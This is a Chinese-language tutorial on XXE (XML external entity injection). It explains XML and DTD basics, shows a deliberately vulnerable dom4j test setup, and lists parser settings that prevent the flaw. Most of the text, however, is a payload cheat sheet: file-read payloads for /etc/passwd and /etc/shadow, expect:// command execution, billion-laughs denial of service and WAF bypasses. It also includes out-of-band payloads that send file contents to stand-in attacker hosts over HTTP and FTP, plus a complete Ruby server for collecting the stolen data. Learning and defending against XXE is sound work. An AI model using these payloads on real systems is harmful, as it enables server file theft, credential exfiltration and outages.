简介
XXE(XML External Entity Injection)
全称XML外部实体注入漏洞
,既然是注入,说明也是执行了我们的恶意代码。
它产生的原因是:应用程序在解析XML内容时,没有禁止外部实体的加载,导致可加载恶意外部文件;因此如果XML内容可控,那么就可造成
- 文件读取
- 命令执行(难)
- 内网端口扫描
- 攻击内网网站
- 发起dos攻击
等危害。
XML基础
既然漏洞是由于解析XML引起的,那么不了解一下XML怎么行呢?
XML和HTML长得有点类似,都是基于标签的格式,但是HTML被设计用来显示数据,XML则被设计用来传输和存储数据
XML语法
XML 声明文件的可选部分,如果存在需要放在文档的第一行
<?xml version="1.0" encoding="UTF-8" ?>
XML 必须包含根元素,它是所有其他元素的父元素,比如下面的
userInfo
元素<userInfo> <name>d4m1ts</name> <age>18</age> </userInfo>
所有的 XML 元素都必须有一个关闭标签
<p>paragraph</p> <!-- 后面的 </p> 不能省略 -->
XML 标签对大小写敏感。标签
<Letter>
与标签<letter>
是不同的,必须使用相同的大小写来编写打开标签和关闭标签所有元素都必须彼此正确地嵌套
<b><p>This text is bold and italic</b></p> <!-- 错误 --> <p><i>This text is bold and italic</i></p> <!-- 正确 -->
属性都必须添加双引号,这点和HTML类似
<p attr="加双引号">aa</p>
XML注释和HTML一样
<!-- 我是注释 -->
XML DTD
DTD简介
XML DTD(Document Type Definition)文档类型定义
的作用是定义 XML 文档的合法构建模块,它使用一系列合法的元素来定义文档的结构。
内部
DOCTYPE
声明<!-- 语法 --> <!DOCTYPE root-element [element-declarations]>
<?xml version="1.0" encoding="UTF-8" ?> <!DOCTYPE userInfo [ <!ELEMENT userInfo (name,age)> <!ELEMENT name (#PCDATA)> <!ELEMENT age (#PCDATA)> ]> <userInfo> <name>d4m1ts</name> <age>18</age> </userInfo>
以上 DTD 解释如下:
!DOCTYPE userInfo
(第二行)定义此文档是 userInfo 类型的文档。!ELEMENT userInfo
(第三行)定义 userInfo 元素有两个元素:"name、age"!ELEMENT name
(第四行)定义 name 元素为 "#PCDATA" 类型PCDATA
是会被解析器解析的文本,这些文本将被解析器检查实体以及标记,文本中的标签会被当作标记来处理,而实体会被展开CDATA
是不会被解析器解析的文本。在这些文本中的标签不会被当作标记来对待,其中的实体也不会被展开。
外部
DOCTYPE
声明<!-- 语法 --> <!DOCTYPE root-element SYSTEM "filename">
<!-- XML文件 --> <?xml version="1.0"?> <!DOCTYPE note SYSTEM "note.dtd"> <note> <to>Tove</to> <from>Jani</from> <heading>Reminder</heading> <body>Don't forget me this weekend!</body> </note>
<!-- 包含 DTD 的 "note.dtd" 文件 --> <!ELEMENT note (to,from,heading,body)> <!ELEMENT to (#PCDATA)> <!ELEMENT from (#PCDATA)> <!ELEMENT heading (#PCDATA)> <!ELEMENT body (#PCDATA)>
在XML中,有5个预定义的实体引用,这是为了防止在解析的时候,给我们输入的<
当成标签来处理,导致异常
实体引用 | 字符 |
---|---|
< |
< |
> |
> |
& |
& |
" |
" |
' |
' |
举例
<message>if salary < 1000 then</message>
DTD实体
实体是用于定义引用普通文本或特殊字符的快捷方式的变量
。
一个内部实体声明
<!-- 语法 --> <!ENTITY entity-name "entity-value">
<?xml version="1.0" encoding="UTF-8" ?> <!DOCTYPE userInfo [ <!ELEMENT userInfo (name,age)> <!ELEMENT name (#PCDATA)> <!ELEMENT age (#PCDATA)> <!ENTITY name "d4m1ts"> ]> <userInfo> <name>&name;</name> <age>18</age> </userInfo>
一个外部实体声明
<!-- 语法 --> <!ENTITY entity-name SYSTEM "URI/URL">
<!-- 不要求后缀一定是dtd,只要符合dtd文件格式即可 --> <!ENTITY name SYSTEM "http://baidu.com/test.dtd">
漏洞环境搭建
服务器解析XML出现问题,那漏洞环境就写一个可以解析XML内容的代码即可。这里我用Java中的SAXReader
这个类的read()
方法来触发
- 依赖
<!-- https://mvnrepository.com/artifact/org.dom4j/dom4j -->
<dependency>
<groupId>org.dom4j</groupId>
<artifactId>dom4j</artifactId>
<version>2.1.1</version>
</dependency>
- 漏洞代码
import org.dom4j.Document;
import org.dom4j.DocumentException;
import org.dom4j.Element;
import org.dom4j.io.SAXReader;
import java.io.File;
public class Main {
public static void main(String[] args) throws DocumentException {
SAXReader saxReader = new SAXReader();
Document document = saxReader.read(new File("src/main/resources/test.xml"));
Element rootElement = document.getRootElement();
System.out.println(rootElement.element("name").getData());
}
}
- test.xml
<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE userInfo [
<!ELEMENT userInfo (name)>
<!ELEMENT name (#PCDATA)>
<!ENTITY name "d4m1ts">
]>
<userInfo>
<name>&name;</name>
</userInfo>
后续只需要修改test.xml
中的内容即可
XXE基础利用
在上面加载外部实体声明的时候,可以注意到它的语法
<!ENTITY entity-name SYSTEM "URI/URL">
可以从一个URL加载DTD,当然按照非正常的思维,允许输入URL也就相当于允许输入其他类似http
的协议的链接,比如file
、ftp
这些,那这里岂不是至少就可能存在2个漏洞了
- SSRF
- 任意文件读取
各语言支持的协议如下:
LIBXML2 | PHP | JAVA | .NET |
---|---|---|---|
file | file | http | file |
http | http | https | http |
ftp | ftp | ftp | https |
php | file | ftp | |
compress.zlib | jar | ||
compress.bzip2 | netdoc | ||
data | mailto | ||
glob | gopher * | ||
phar |
这里只介绍基础的带回显的利用方法,不带回显的可以参考下面的Payload
读取文件
读取/etc/passwd
,这个明显是给file///etc/passwd
的值赋值给name
<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE userInfo [
<!ELEMENT userInfo (name)>
<!ELEMENT name (#PCDATA)>
<!ENTITY name SYSTEM "file:///etc/passwd">
]>
<userInfo>
<name>&name;</name>
</userInfo>
SSRF
简单的发起http请求,根据结果具体情况具体分析
<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE userInfo [
<!ELEMENT userInfo (name)>
<!ELEMENT name (#PCDATA)>
<!ENTITY name SYSTEM "http://baidu.aaaa">
]>
<userInfo>
<name>&name;</name>
</userInfo>
执行系统命令
比较鸡肋,比较难利用,要在安装expect
扩展的PHP环境
里执行系统命令,其他协议也有可能吧
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE xxe [
<!ELEMENT name ANY >
<!ENTITY xxe SYSTEM "expect://id" >]>
<root>
<name>&xxe;</name>
</root>
拒绝服务攻击
递归引用,lol 实体具体还有 “lol” 字符串,然后一个 lol2 实体引用了 10 次 lol 实体,一个 lol3 实体引用了 10 次 lol2 实体,此时一个 lol3 实体就含有 10^2 个 “lol” 了,以此类推,lol9 实体含有 10^8 个 “lol” 字符串,最后再引用lol9。
<?xml version="1.0"?>
<!DOCTYPE lolz [
<!ENTITY lol "lol">
<!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
<!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
<!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
<!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
<!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
<!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
<!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
<!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
]>
<lolz>&lol9;</lolz>
XInclude攻击
一些情况下,我们可能无法控制整个XML文档,也就无法完全XXE,但是我们可以控制其中一部分,这个时候就可以使用XInclude
XInclude
是XML规范的一部分,它允许从子文档构建XML文档。可以在XML文档中的任何数据值中放置XInclude Payload
要执行XInclude
攻击,需要引用XInclude
命名空间并提供要包含的文件的路径。例如:
<foo xmlns:xi="http://www.w3.org/2001/XInclude">
<xi:include parse="text" href="file:///etc/passwd"/></foo>
哪些地方可能存在XXE
- 允许上传XML文件的地方
- 允许上传Excel、Word、SVG等文件的地方(因为这些文件本质也是XML)
- 请求中
Content-Type
允许为application/xml
的数据包(可以手动修改,比如将application/json
中的json
直接修改为xml
) - ...
总而言之一句话:所有能传能解析XML数据给服务端的地方,都可能存在XXE。
防御
1、使用开发语言提供的禁用外部实体的方法
不同的类可能设置方法也不一样,具体情况具体分析。
php:
libxml_disable_entity_loader(true);
java:
SAXReader saxReader = new SAXReader();
saxReader.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
Python:
from lxml import etree
xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))
2、过滤用户提交的XML数据
过滤关键字:<\!DOCTYPE
和<\!ENTITY
,或者SYSTEM
和PUBLIC
。
3、不允许XML中含有自己定义的DTD
Payload
Basic
Basic XML Example
<!--?xml version="1.0" ?-->
<userInfo>
<firstName>John</firstName>
<lastName>Doe</lastName>
</userInfo>
Entity Example
<!--?xml version="1.0" ?-->
<!DOCTYPE replace [<!ENTITY example "Doe"> ]>
<userInfo>
<firstName>John</firstName>
<lastName>&example;</lastName>
</userInfo>
Inband Injection
Extract data from the server
<?xml version="1.0"?>
<!DOCTYPE data [
<!ELEMENT data (#ANY)>
<!ENTITY file SYSTEM "file:///etc/passwd">
]>
<data>&file;</data>
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]><foo>&xxe;</foo>
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///c:/boot.ini" >]><foo>&xxe;</foo>
XXE Base64 encoded
<!DOCTYPE test [
<!ENTITY % init SYSTEM "data://text/plain;base64,ZmlsZTovLy9ldGMvcGFzc3dk">
%init;
]>
<foo/>
PHP Wrapper inside XXE
<!DOCTYPE replace [<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=index.php"> ]>
<contacts>
<contact>
<name>Jean &xxe; Dupont</name>
<phone>00 11 22 33 44</phone>
<adress>42 rue du CTF</adress>
<zipcode>75000</zipcode>
<city>Paris</city>
</contact>
</contacts>
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY % xxe SYSTEM "php://filter/convert.base64-encode/resource=http://attacker.com/file.php" >
]>
<foo>&xxe;</foo>
OOB Injection
Vanilla, used to verify outbound xxe or blind xxe
<?xml version="1.0" ?>
<!DOCTYPE r [
<!ELEMENT r ANY >
<!ENTITY sp SYSTEM "http://x.x.x.x:443/test.txt">
]>
<r>&sp;</r>
OoB extraction1
<?xml version="1.0" ?>
<!DOCTYPE r [
<!ELEMENT r ANY >
<!ENTITY % sp SYSTEM "http://x.x.x.x:443/ev.xml">
%sp;
%param1;
]>
<r>&exfil;</r>
- 外部实体
<!ENTITY % data SYSTEM "file:///c:/windows/win.ini">
<!ENTITY % param1 "<!ENTITY exfil SYSTEM 'http://x.x.x.x:443/?%data;'>">
OoB variation of above (seems to work better against .NET)
<?xml version="1.0" ?>
<!DOCTYPE r [
<!ELEMENT r ANY >
<!ENTITY % sp SYSTEM "http://x.x.x.x:443/ev.xml">
%sp;
%param1;
%exfil;
]>
- 外部实体
<!ENTITY % data SYSTEM "file:///c:/windows/win.ini">
<!ENTITY % param1 "<!ENTITY % exfil SYSTEM 'http://x.x.x.x:443/?%data;'>">
OoB extraction2
<?xml version="1.0"?>
<!DOCTYPE r [
<!ENTITY % data3 SYSTEM "file:///etc/shadow">
<!ENTITY % sp SYSTEM "http://EvilHost:port/sp.dtd">
%sp;
%param3;
%exfil;
]>
- External dtd
<!ENTITY % param3 "<!ENTITY % exfil SYSTEM 'ftp://Evilhost:port/%data3;'>">
- ftp server
https://github.com/ONsec-Lab/scripts/blob/master/xxe-ftp-server.rb
OoB extra ERROR -- Java
<?xml version="1.0"?>
<!DOCTYPE r [
<!ENTITY % data3 SYSTEM "file:///etc/passwd">
<!ENTITY % sp SYSTEM "http://x.x.x.x:8080/ss5.dtd">
%sp;
%param3;
%exfil;
]>
<r></r>
- External dtd
<!ENTITY % param1 '<!ENTITY % external SYSTEM "file:///nothere/%payload;">'> %param1; %external;
OoB XXE Base64 -- PHP
<!DOCTYPE convert [
<!ENTITY % remote SYSTEM "http://xx.xx.xx.xx:8080/config.dtd">
%remote;%int;%send;
]>
<!-- config.dtd的内容 -->
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///flag">
<!ENTITY % int "<!ENTITY % send SYSTEM 'http://xx.xx.xx.xx:8080/index.php?flag=%file;'>">
OoB extra nice
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root [
<!ENTITY % start "<![CDATA[">
<!ENTITY % stuff SYSTEM "file:///usr/local/tomcat/webapps/customapp/WEB-INF/applicationContext.xml ">
<!ENTITY % end "]]>">
<!ENTITY % dtd SYSTEM "http://evil/evil.xml">
%dtd;
]>
<root>&all;</root>
- External dtd
<!ENTITY all "%start;%stuff;%end;">
File-not-found exception based extraction
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE test [
<!ENTITY % one SYSTEM "http://attacker.tld/dtd-part" >
%one;
%two;
%four;
]>
- External dtd
<!ENTITY % three SYSTEM "file:///etc/passwd"> <!ENTITY % two "<!ENTITY % four SYSTEM 'file:///%three;'>"> <!-- you might need to encode this % (depends on your target) as: % -->
FTP
<?xml version="1.0" ?>
<!DOCTYPE a [
<!ENTITY % asd SYSTEM "http://x.x.x.x:4444/ext.dtd">
%asd;
%c;
]>
<a>&rrr;</a>
External dtd
<!ENTITY % d SYSTEM "file:///proc/self/environ"> <!ENTITY % c "<!ENTITY rrr SYSTEM 'ftp://x.x.x.x:2121/%d;'>">
FTP Server
https://github.com/ONsec-Lab/scripts/blob/master/xxe-ftp-server.rb
Inside SOAP body
<soap:Body>
<foo>
<![CDATA[<!DOCTYPE doc [<!ENTITY % dtd SYSTEM "http://x.x.x.x:22/"> %dtd;]><xxx/>]]>
</foo>
</soap:Body>
XXE inside SVG
<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="300" version="1.1" height="200">
<image xlink:href="expect://ls"></image>
</svg>
Untested - WAF Bypass
<!DOCTYPE :. SYTEM "http://"
<!DOCTYPE :_-_: SYTEM "http://"
<!DOCTYPE {0xdfbf} SYSTEM "http://"
DOS
包括一个随机的文件
<!ENTITY xxe SYSTEM "file:///dev/random" >]>
Billion Laugh Attack - Denial Of Service
<!--?xml version="1.0" ?-->
<!DOCTYPE lolz [<!ENTITY lol "lol"><!ELEMENT lolz (#PCDATA)>
<!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;
<!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;">
<!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
<!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
<!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
<!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
<!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
<!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
<!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
<tag>&lol9;</tag>
FTP Server代码备份
- xxe-ftp-server.rb
require 'socket'
ftp_server = TCPServer.new 2121
http_server = TCPServer.new 8088
log = File.open( "xxe-ftp.log", "a")
payload = '<!ENTITY % asd SYSTEM "file:///etc/passwd">'
Thread.start do
loop do
Thread.start(http_server.accept) do |http_client|
puts "HTTP. New client connected"
loop {
req = http_client.gets()
break if req.nil?
if req.start_with? "GET"
http_client.puts("HTTP/1.1 200 OK\r\nContent-length: #{payload.length}\r\n\r\n#{payload}")
end
puts req
}
puts "HTTP. Connection closed"
end
end
end
Thread.start do
loop do
Thread.start(ftp_server.accept) do |ftp_client|
puts "FTP. New client connected"
ftp_client.puts("220 xxe-ftp-server")
loop {
req = ftp_client.gets()
break if req.nil?
puts "< "+req
log.write "get req: #{req.inspect}\n"
if req.include? "LIST"
ftp_client.puts("drwxrwxrwx 1 owner group 1 Feb 21 04:37 test")
ftp_client.puts("150 Opening BINARY mode data connection for /bin/ls")
ftp_client.puts("226 Transfer complete.")
elsif req.include? "USER"
ftp_client.puts("331 password please - version check")
elsif req.include? "PORT"
puts "! PORT received"
puts "> 200 PORT command ok"
ftp_client.puts("200 PORT command ok")
else
puts "> 230 more data please!"
ftp_client.puts("230 more data please!")
end
}
puts "FTP. Connection closed"
end
end
end
loop do
sleep(10000)
end